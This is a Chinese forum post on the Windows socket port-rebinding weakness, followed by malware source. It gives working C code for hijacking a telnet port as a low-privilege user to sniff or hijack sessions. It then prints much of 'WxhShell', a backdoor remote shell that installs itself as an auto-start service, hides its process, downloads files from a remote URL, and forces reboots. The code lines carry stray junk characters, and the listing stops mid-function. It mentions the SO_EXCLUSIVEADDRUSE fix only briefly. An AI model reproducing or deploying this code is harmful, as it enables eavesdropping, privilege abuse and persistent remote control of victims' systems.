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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D2$"!7O1H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T&_!AjH  
b?#k  
  saddr.sin_family = AF_INET; o#X|4bES  
0*66m:C2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;~Eb Q  
q' };.tv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0ad -4  
gkdd#Nrk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $9v:(:!Bm  
&j}\ZD  
  这意味着什么?意味着可以进行如下的攻击: ~Uw **PT3M  
#4. S2m4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =;.#Bds  
a9 =,P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =4z:Df  
<r (Y:2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >W,1s  
jHPJk8@y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z= pb<Y@X  
Cj?X+#J/@d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,^ MA,"8  
.@#i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Sr)rKc  
^Z7])arA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kN9pl^2  
#87:Or1  
  #include k36%n *4  
  #include %\?2W8Qv_J  
  #include BJDe1W3;'  
  #include    `X8AM=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $\>GQ~k  
  int main() a%>p"4WL  
  { "WOY`su>  
  WORD wVersionRequested; "=I ioY  
  DWORD ret; 7MreBs(M  
  WSADATA wsaData; J2 _DP  
  BOOL val; hPt(7E2ke~  
  SOCKADDR_IN saddr; @)mH"u!(7  
  SOCKADDR_IN scaddr; Rt{qbM|b&  
  int err; gio'_X  
  SOCKET s; \;x+KD  
  SOCKET sc; kKnz F  
  int caddsize; SesJg~8  
  HANDLE mt; 1,fjdd8OM;  
  DWORD tid;   q: . URl  
  wVersionRequested = MAKEWORD( 2, 2 ); _@0>y MZ^  
  err = WSAStartup( wVersionRequested, &wsaData ); 5-O[(b2O  
  if ( err != 0 ) { ^+cf  
  printf("error!WSAStartup failed!\n"); UahFs  
  return -1; EeWCy5W  
  } \M M(w&  
  saddr.sin_family = AF_INET; dE2(PQb*P  
   DzX5_ kA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V}ZF\SG(K  
Q}ho Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uNV (r"  
  saddr.sin_port = htons(23); i[)H!%RV*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZiodJ"r  
  { +~RiCZt  
  printf("error!socket failed!\n"); )y-y-B=+T  
  return -1; B@dA?w.x  
  } GYYk3\r  
  val = TRUE; k0.|%0?K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y( n# =  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w$UWfL(  
  { lil1$K: i  
  printf("error!setsockopt failed!\n"); t>><|~wp  
  return -1; eZs34${fN  
  } 1QXv}36#3n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !u@e^J{Ao  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -sl] funRy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %c)^8k;I  
# (B <n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %gDMz7$~  
  { MHJH@$|]  
  ret=GetLastError(); &^^zm9{  
  printf("error!bind failed!\n"); z 7OTL<h  
  return -1; k2muHKBlk  
  } TG'_1m*$  
  listen(s,2); gy/z;fB  
  while(1) jV`xRjh  
  { S1NM9xHJ  
  caddsize = sizeof(scaddr); lpLjfHr  
  //接受连接请求 ?n9gqwO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0|n1O)>J  
  if(sc!=INVALID_SOCKET) oVyOiWo\Z  
  { 5O<7<O B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,-#8/9ts  
  if(mt==NULL) /<)A!Nn+F  
  { Fu:VRul=5$  
  printf("Thread Creat Failed!\n"); @#$5_uU8\(  
  break; u{maE ,  
  } e*.l6H/B  
  } IGEs1  
  CloseHandle(mt); f}b= FV{  
  } NL%5'8F>,  
  closesocket(s); 3 4CqLPg8  
  WSACleanup(); =b2/g [  
  return 0; ~#+ Hhc(  
  }   )J#7:s]eo  
  DWORD WINAPI ClientThread(LPVOID lpParam) M \rW  
  { uH S)  
  SOCKET ss = (SOCKET)lpParam; ={y Mk  
  SOCKET sc; \?A 7{IY  
  unsigned char buf[4096]; u*0Ck*pZ  
  SOCKADDR_IN saddr; F[mL_JU  
  long num; zLd i  
  DWORD val; E4~k)4R  
  DWORD ret; +@>K]hdr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qV2aa9p+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =NxT9$V  
  saddr.sin_family = AF_INET; daS l.:1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GF[onfQY7  
  saddr.sin_port = htons(23); F @ lJk|*_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kk|uN#m  
  { 6?u9hi  
  printf("error!socket failed!\n"); ^6tGj+D9  
  return -1; ~LqjWU  
  } z)N8#Y~vn  
  val = 100; 4sOo>.<x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FY  U)sQ  
  { Oo<L~7B  
  ret = GetLastError(); W,'30:#Fr7  
  return -1; V*HkF T  
  } Ux5pw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R+Q..9 P  
  { 2Ur9*#~kGp  
  ret = GetLastError(); ~kM# lh7At  
  return -1; !0Hx1I<*x  
  } Bbk=0+ ^8I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z.EpRJn  
  { _qwKFC  
  printf("error!socket connect failed!\n"); M{:}.H<a  
  closesocket(sc); !Wn^B|  
  closesocket(ss); xfYDjf :<  
  return -1; }cUq1r-bW  
  } v%8.o%G  
  while(1) #qqIOjS^w  
  { GcXh V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A"Q6GM2;Io  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4 XSEN ]F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ft$@':F  
  num = recv(ss,buf,4096,0); rt-^?2c?  
  if(num>0) X.^S@3[  
  send(sc,buf,num,0); M@\A_x(Mas  
  else if(num==0) a'3|EWS ?  
  break; Yn!)('FdT!  
  num = recv(sc,buf,4096,0); 53>y<  
  if(num>0) w"?H4  
  send(ss,buf,num,0); \C<|yD  
  else if(num==0) UqJ}5{rt  
  break; iKs @oHW  
  } Y|%s =0M  
  closesocket(ss); "'Bx<FA  
  closesocket(sc); QnHb*4<  
  return 0 ; <0R$yB  
  } ']]C zze  
=gSa?pd  
>iE/t$%1  
========================================================== :2+,?#W  
954!ED|F(  
下边附上一个代码,,WXhSHELL l;+nL[%`  
TV&:`kH  
========================================================== B4fMD]  
`XT8}9z!  
#include "stdafx.h" hn-+]Y:  
\OR=+\].9  
#include <stdio.h> ,0j7qn@tm  
#include <string.h> [w>T.b  
#include <windows.h> H[H+s!)"  
#include <winsock2.h> Q7V*~{  
#include <winsvc.h> kBF.TGT[l  
#include <urlmon.h> )Q:.1Hgl  
W8bh49   
#pragma comment (lib, "Ws2_32.lib") Q}/2\Q=)j  
#pragma comment (lib, "urlmon.lib") >"Tivc5  
}bkQr)us  
#define MAX_USER   100 // 最大客户端连接数 )(^L *  
#define BUF_SOCK   200 // sock buffer "e)C.#3  
#define KEY_BUFF   255 // 输入 buffer  (TKn'2  
o p{DPUO0  
#define REBOOT     0   // 重启 idG}p+(;  
#define SHUTDOWN   1   // 关机 i!AFXVX  
hU: 9zLe  
#define DEF_PORT   5000 // 监听端口 2=?:(e9  
y~16o   
#define REG_LEN     16   // 注册表键长度 U"SH fI:  
#define SVC_LEN     80   // NT服务名长度 3c%dErch  
>0^oC[ B  
// 从dll定义API Oq[2<ept  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -MA/:EB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #Qir%\*V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aRt`IcZYz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \Uz7ar#,  
qwf97pg$  
// wxhshell配置信息 |8m2i1XG  
struct WSCFG { ET2^1X#j  
  int ws_port;         // 监听端口 j@ehcK9|  
  char ws_passstr[REG_LEN]; // 口令 ftaGu-d%  
  int ws_autoins;       // 安装标记, 1=yes 0=no S)n+E\c  
  char ws_regname[REG_LEN]; // 注册表键名 5*~]=(BE  
  char ws_svcname[REG_LEN]; // 服务名 xAZ-_}'tW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3zr95$Mt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sWG_MEbu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~4T:v _Q7g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d_ [l{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AlVB hR`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g`n5-D@3  
xJNV^u  
}; ],?$&  
)qq5WShMJ  
// default Wxhshell configuration ^KlW"2:  
struct WSCFG wscfg={DEF_PORT, 8lNkY`P7s  
    "xuhuanlingzhe", h<1pGQV  
    1, VGe OoS  
    "Wxhshell", be->ofUYgs  
    "Wxhshell", +N3f{-{"Yo  
            "WxhShell Service", 9ZYT#h  
    "Wrsky Windows CmdShell Service", G\PFh&  
    "Please Input Your Password: ", ZcQ@%XY3~  
  1, NUQ?Q Q  
  "http://www.wrsky.com/wxhshell.exe", >508-)'  
  "Wxhshell.exe"  mS]&  
    }; llK7~uOC  
ab!Cu8~v  
// 消息定义模块 rFJPeK7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q7{/ T0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; # fe%E.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >Ohh) $  
char *msg_ws_ext="\n\rExit."; ?D,8lABkT  
char *msg_ws_end="\n\rQuit."; !k}]`z^d  
char *msg_ws_boot="\n\rReboot..."; JNx;/6'd,  
char *msg_ws_poff="\n\rShutdown..."; [S:{$4&  
char *msg_ws_down="\n\rSave to "; ^C|N  
@dHQ}Ni  
char *msg_ws_err="\n\rErr!"; ]Jum(1Bo  
char *msg_ws_ok="\n\rOK!"; >"/Sa_w  
[" PRxl  
char ExeFile[MAX_PATH]; YD@n8?~$$  
int nUser = 0; LJ{P93aq`^  
HANDLE handles[MAX_USER]; {;2Gl$\r  
int OsIsNt; D=^|6}  
i^Ip+J+[  
SERVICE_STATUS       serviceStatus; kp=wz0#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?]]7PEee*  
0;/},B[A  
// 函数声明 -|WQs'%O  
int Install(void); '[zy%<2sL  
int Uninstall(void); VZ1u/O?ub  
int DownloadFile(char *sURL, SOCKET wsh); fgW>~m.W  
int Boot(int flag); (j%;)PTe+&  
void HideProc(void); B*AF8wX|  
int GetOsVer(void); ] v8.ym  
int Wxhshell(SOCKET wsl); ~2L]K4Z^  
void TalkWithClient(void *cs); = ;z42oS  
int CmdShell(SOCKET sock); "T~ce@  
int StartFromService(void); huTWoMU  
int StartWxhshell(LPSTR lpCmdLine); n]< >$  
Xf/qUao  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _Z0O]>KH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #[ TOe  
]7/6u.G7R  
// 数据结构和表定义 mNDd>4%H_  
SERVICE_TABLE_ENTRY DispatchTable[] = C8bB OC(  
{ iAn]hVW  
{wscfg.ws_svcname, NTServiceMain}, %h^ f?.(:  
{NULL, NULL} NN"!kuM  
}; k@=w? m  
'>U&B}  
// 自我安装 c>)_I  
int Install(void) _!:*&{  
{ 4.&hV?Kxz  
  char svExeFile[MAX_PATH]; C'S&  
  HKEY key; DRy,n)U&  
  strcpy(svExeFile,ExeFile); x:0nK,  
e:T8={LU2W  
// 如果是win9x系统,修改注册表设为自启动 CGCI3Z'  
if(!OsIsNt) { Gi 7p`F.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LO@='}D=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CS\T@)@t  
  RegCloseKey(key); ^,sKj-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '(-SuaH49  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +m]Kj3-z@  
  RegCloseKey(key); gu|cQ2xV  
  return 0; Qs #7<NQ  
    } wxW\L!@  
  } (-bLP  
} ? f>pKe  
else { 2J1YrHj3  
G5hh$Nmpi  
// 如果是NT以上系统,安装为系统服务 eW/sP Q-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n/vKxtW  
if (schSCManager!=0) 6U?z  
{ !W48sZr1&  
  SC_HANDLE schService = CreateService _gn`Y(c$%  
  ( N^@aO&+A  
  schSCManager, \ QE?.Fx  
  wscfg.ws_svcname, :@c\a99Kx  
  wscfg.ws_svcdisp, *L+)R*|:&  
  SERVICE_ALL_ACCESS,  WgayH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xwe^_7  
  SERVICE_AUTO_START, b.lK0 Xo  
  SERVICE_ERROR_NORMAL, mZ! 1Vh  
  svExeFile,  M_ii  
  NULL, 4PDxmH]y  
  NULL, -j"]1JLQ  
  NULL, r{ }&* Y  
  NULL, %DIZgPd\  
  NULL [W,}&  
  ); j" ~gEGfK  
  if (schService!=0) "+k^8ki  
  { '@3Kq\/  
  CloseServiceHandle(schService); sUTfY|<7|  
  CloseServiceHandle(schSCManager); -V 'h>K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (I0QwB  
  strcat(svExeFile,wscfg.ws_svcname); 8TV "9{ n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?o883!&v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vC|V8ea  
  RegCloseKey(key); us$=)m~v+  
  return 0; 's7 (^1hH  
    } {6Qd,CX  
  } ! 1wf/C;=  
  CloseServiceHandle(schSCManager); I] vCra  
} (n {,R  
} hY[Vs5v  
:W*']8 M-  
return 1; Bq*aP*jv  
} 5FQtlB9F  
DB>.Uf"  
// 自我卸载 uX8yS|= *  
int Uninstall(void) ]s<}'&  
{ na-mh E,H  
  HKEY key; p6|RV(?8  
MFqM 6_  
if(!OsIsNt) { /KLs+^c5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9n!IdqKN  
  RegDeleteValue(key,wscfg.ws_regname); C[IY9s:Pf  
  RegCloseKey(key); SQ0t28N3h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #dEMjD  
  RegDeleteValue(key,wscfg.ws_regname); qEy]Rc%  
  RegCloseKey(key); ]^c]*O[8  
  return 0; B kh1VAT  
  } rQM$lJ[x  
} /\e&nYz  
} c$AwJhl^]  
else { lVR a{._m  
zM+eb| >cr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H){lXR/#u  
if (schSCManager!=0) ,p7W4;?4  
{ ;f l3'.S[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "o6a{KY(  
  if (schService!=0) qG?svt  
  { H(,D5y`k1  
  if(DeleteService(schService)!=0) { >2[nTfS  
  CloseServiceHandle(schService); @b5zHXF83E  
  CloseServiceHandle(schSCManager); 5ON\Ve_H  
  return 0; f' 28s*n  
  } Ka|, qkb  
  CloseServiceHandle(schService); u/S{^2`b  
  } [zMnlO  
  CloseServiceHandle(schSCManager); {j!+\neL  
} /lqVMlz\77  
} 2ms@CQy(00  
_oBJ'8R\  
return 1; d@aPhzLu  
} 6L4<c+v_  
|| 0n%"h>i  
// 从指定url下载文件 g*%z{w  
int DownloadFile(char *sURL, SOCKET wsh) ^p}|""\j  
{ 75?z" i  
  HRESULT hr; m.EIMuj  
char seps[]= "/"; *Tyr  
char *token; 5zk^zn)  
char *file; ~+OAAkJ9  
char myURL[MAX_PATH]; *uG!U%jY)  
char myFILE[MAX_PATH]; }{#ty uzAo  
4/:}K>S_  
strcpy(myURL,sURL); vWpoaz/w  
  token=strtok(myURL,seps); JT(6Uf  
  while(token!=NULL) }X?M6;$)  
  { S#{gCc  
    file=token; |b^+= "  
  token=strtok(NULL,seps); CYFi_6MFl  
  } jS<(O o  
glo Y@k~  
GetCurrentDirectory(MAX_PATH,myFILE); bjCO@t  
strcat(myFILE, "\\"); >A_:q yGk  
strcat(myFILE, file); }XcYIo#+t  
  send(wsh,myFILE,strlen(myFILE),0); {$H-7-O$  
send(wsh,"...",3,0); & c V$`L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); , tb\^  
  if(hr==S_OK) 8DLj?M>N  
return 0; 5%)<e-  
else HmQ.'  
return 1; qGVf! R  
C(@#I7G  
} r=74 'g  
(u:^4,Z  
// 系统电源模块 'ugc=-0pd  
int Boot(int flag) 0tb%h[%,M  
{ +0Z,#b  
  HANDLE hToken; }fT5(+ Wo  
  TOKEN_PRIVILEGES tkp; :plN<8  
4Fs5@@>X  
  if(OsIsNt) { RM|2PG1m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l\t\DX"s_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -'%>Fon  
    tkp.PrivilegeCount = 1; F)n^pT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g:rjt1w`D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F :p9y_W  
if(flag==REBOOT) { n> tru L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [~&yLccN  
  return 0; ~OSgpM#O!T  
} b<bj5m4fz>  
else { G~ mLc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %<]4]h  
  return 0; ~H4wsa39  
} o!@}&DE|*L  
  } h'm-]v  
  else { ;vuqI5k  
if(flag==REBOOT) { ,$A'Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {a9( Qi  
  return 0; <reALC  
} DV{0|E  
else { }huFv*<@'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UI%Z`.&  
  return 0; $s]vZ(H  
} ZULnS*V;5  
} iO@UzD #v  
RzOcz=A}  
return 1; tN1xZW:  
} SPN5H;{[]K  
kJ[r.)HU  
// win9x进程隐藏模块 P+:DLex  
void HideProc(void) HE|XDcYO  
{ KBOp}MEz  
!*G%vOa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N(Sc!rX  
  if ( hKernel != NULL ) +oevNM  
  { slTE.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q/#p ol  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4^(aG7  
    FreeLibrary(hKernel); YG_|L[/#  
  } PK).)5sW  
d+o.J",E  
return; C2}f'  
} H ]z83:Z  
"K c/Cs2[  
// 获取操作系统版本 Ygq;jX  
int GetOsVer(void) s C>Oyh:%!  
{ yQ!I`T>a  
  OSVERSIONINFO winfo; <q.Q,_cW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?>/9ae^Bw  
  GetVersionEx(&winfo); urhOvC$a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A@<a')#>)  
  return 1; ?Gqq]ozm  
  else z3Zo64V~7  
  return 0; Q].p/-[(  
} (Cb;=:3G  
/Os6i&;  
// 客户端句柄模块 m gE r+  
int Wxhshell(SOCKET wsl) ).3riR  
{ J!\oH%FJp  
  SOCKET wsh; pf$gvL  
  struct sockaddr_in client; 4G2iT+X-  
  DWORD myID; )_olJCdaP^  
BIh^b?:zU  
  while(nUser<MAX_USER) Mz6PH)e;  
{ `Kbf]"4q  
  int nSize=sizeof(client); 8+@j %l j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }0V aZ<j  
  if(wsh==INVALID_SOCKET) return 1; |/;;uK,y  
Qo~|[]GE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U'aJCM  
if(handles[nUser]==0) = glF6a  
  closesocket(wsh); 9? y&/D5O  
else >@)p*y.K  
  nUser++; $f?GD<}?7r  
  } NHiac(&*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H1.ktG  
rS8}(lf  
  return 0; ykYef  
} m+Kl   
(YM2Cv{4  
// 关闭 socket 8b!xMFF"  
void CloseIt(SOCKET wsh) AO238RC!:  
{ <?F-v  
closesocket(wsh); UC_o;  
nUser--; Ggry,3X3  
ExitThread(0); =P%?{7  
} ;pj,U!{%s\  
-}u1ZEND  
// 客户端请求句柄 " GY3sam  
void TalkWithClient(void *cs) !bs5w_@  
{ Ae\:{[c_D  
6WX?Xc]$3  
  SOCKET wsh=(SOCKET)cs; &=]!8z=  
  char pwd[SVC_LEN]; :nOI|\ rC  
  char cmd[KEY_BUFF]; [,3E#+y  
char chr[1]; q|V|Jl  
int i,j; {)(Mkm +d  
,T*\9' Q  
  while (nUser < MAX_USER) { )#8}xAjV  
[y~kF?a  
if(wscfg.ws_passstr) { d uP0US  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NvC @  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U(gYx@   
  //ZeroMemory(pwd,KEY_BUFF); (mplo|>  
      i=0; 2H1 [ oD[  
  while(i<SVC_LEN) { _(-i46x}  
R"j<C13;%  
  // 设置超时 R^B8** N  
  fd_set FdRead; NxSSRv^rx  
  struct timeval TimeOut; *zQhTYY  
  FD_ZERO(&FdRead); h=Q2 ?O8  
  FD_SET(wsh,&FdRead); VTU(C&"S  
  TimeOut.tv_sec=8;  W_6gV  
  TimeOut.tv_usec=0; %l,CJd5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7K ~)7U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pk`5RDBu  
zm8k,e +5-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;d<O/y,:4  
  pwd=chr[0]; +/ {lz8^,  
  if(chr[0]==0xd || chr[0]==0xa) { <0;G4fE7[H  
  pwd=0; d3\KUR^  
  break; BiDyr  
  } |ZC'a!  
  i++; T% GR{mp  
    } <Sr:pm  
B}nT>Ub  
  // 如果是非法用户,关闭 socket &dPUd ~&EL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yxy!&hPLv:  
} %k<+#j6ZH  
39MOqVc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5g.w"0MkY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qHgzgS7a  
m#ig.z|A  
while(1) { Vju/+  
J:J/AgJuH  
  ZeroMemory(cmd,KEY_BUFF); fda4M  
ii&ckg>]z  
      // 自动支持客户端 telnet标准   4]FS jVO  
  j=0; !Na@T]J  
  while(j<KEY_BUFF) { 6v74mIRn'?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2I|lY>Z  
  cmd[j]=chr[0]; *2fJdY  
  if(chr[0]==0xa || chr[0]==0xd) { >6Jz=N,  
  cmd[j]=0; %mIdQQ,  
  break; u@P1`E1Q  
  } 9R">l5u  
  j++; 4 L 5$=V  
    } JP(0/?Q  
| #b/EA9  
  // 下载文件 qQIX:HWDKZ  
  if(strstr(cmd,"http://")) { 8)M WC:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VoQhzp6&  
  if(DownloadFile(cmd,wsh)) ty:{e]e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =f23lA  
  else JNT|h zV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OO'zIC<z  
  } Ms5R7<O.7  
  else { _ 2)QL  
?o`:V|<v  
    switch(cmd[0]) { OI8}v  
  \%9QE  
  // 帮助 Q,Y^9g"B`~  
  case '?': { E^A!k=>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lxv6\3I+  
    break; {;m|\652B  
  } of GoaH*h  
  // 安装 52NI{"  
  case 'i': { ^go3F{; 4i  
    if(Install()) oad /xbp@/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $e{[fm x  
    else 7G7"Zule*j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p$ETAvD  
    break; j/F('r~L  
    } kem(U{m  
  // 卸载 +md"X@k5*  
  case 'r': { (Q&O'ng1  
    if(Uninstall()) @6%7X7m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }$sTnea  
    else Ck>]+rl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #3{{[i(;i  
    break; 4#.Q|vyl]"  
    } mg>wv[ 7  
  // 显示 wxhshell 所在路径 *=!r|UdB.  
  case 'p': { ]g }5p4*&  
    char svExeFile[MAX_PATH]; G{O{ p  
    strcpy(svExeFile,"\n\r"); ic4hO>p&  
      strcat(svExeFile,ExeFile); us8HXvvp{  
        send(wsh,svExeFile,strlen(svExeFile),0); d{7)_Sbky  
    break; 0P!Fci/t  
    } /"8|26  
  // 重启 /{/mwS"W  
  case 'b': { !N_eZPU.v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); US"UkY-\  
    if(Boot(REBOOT)) 9Zmq7a E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~jm0jK]  
    else { [@B!N+P5;  
    closesocket(wsh); c.5u \ I9"  
    ExitThread(0); \rO!lvX  
    } +\u\BJ!LAJ  
    break; f! )yE`4-  
    } 'i:lV'  
  // 关机 'NCx<0*  
  case 'd': { VR%*8=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,rF!o_7  
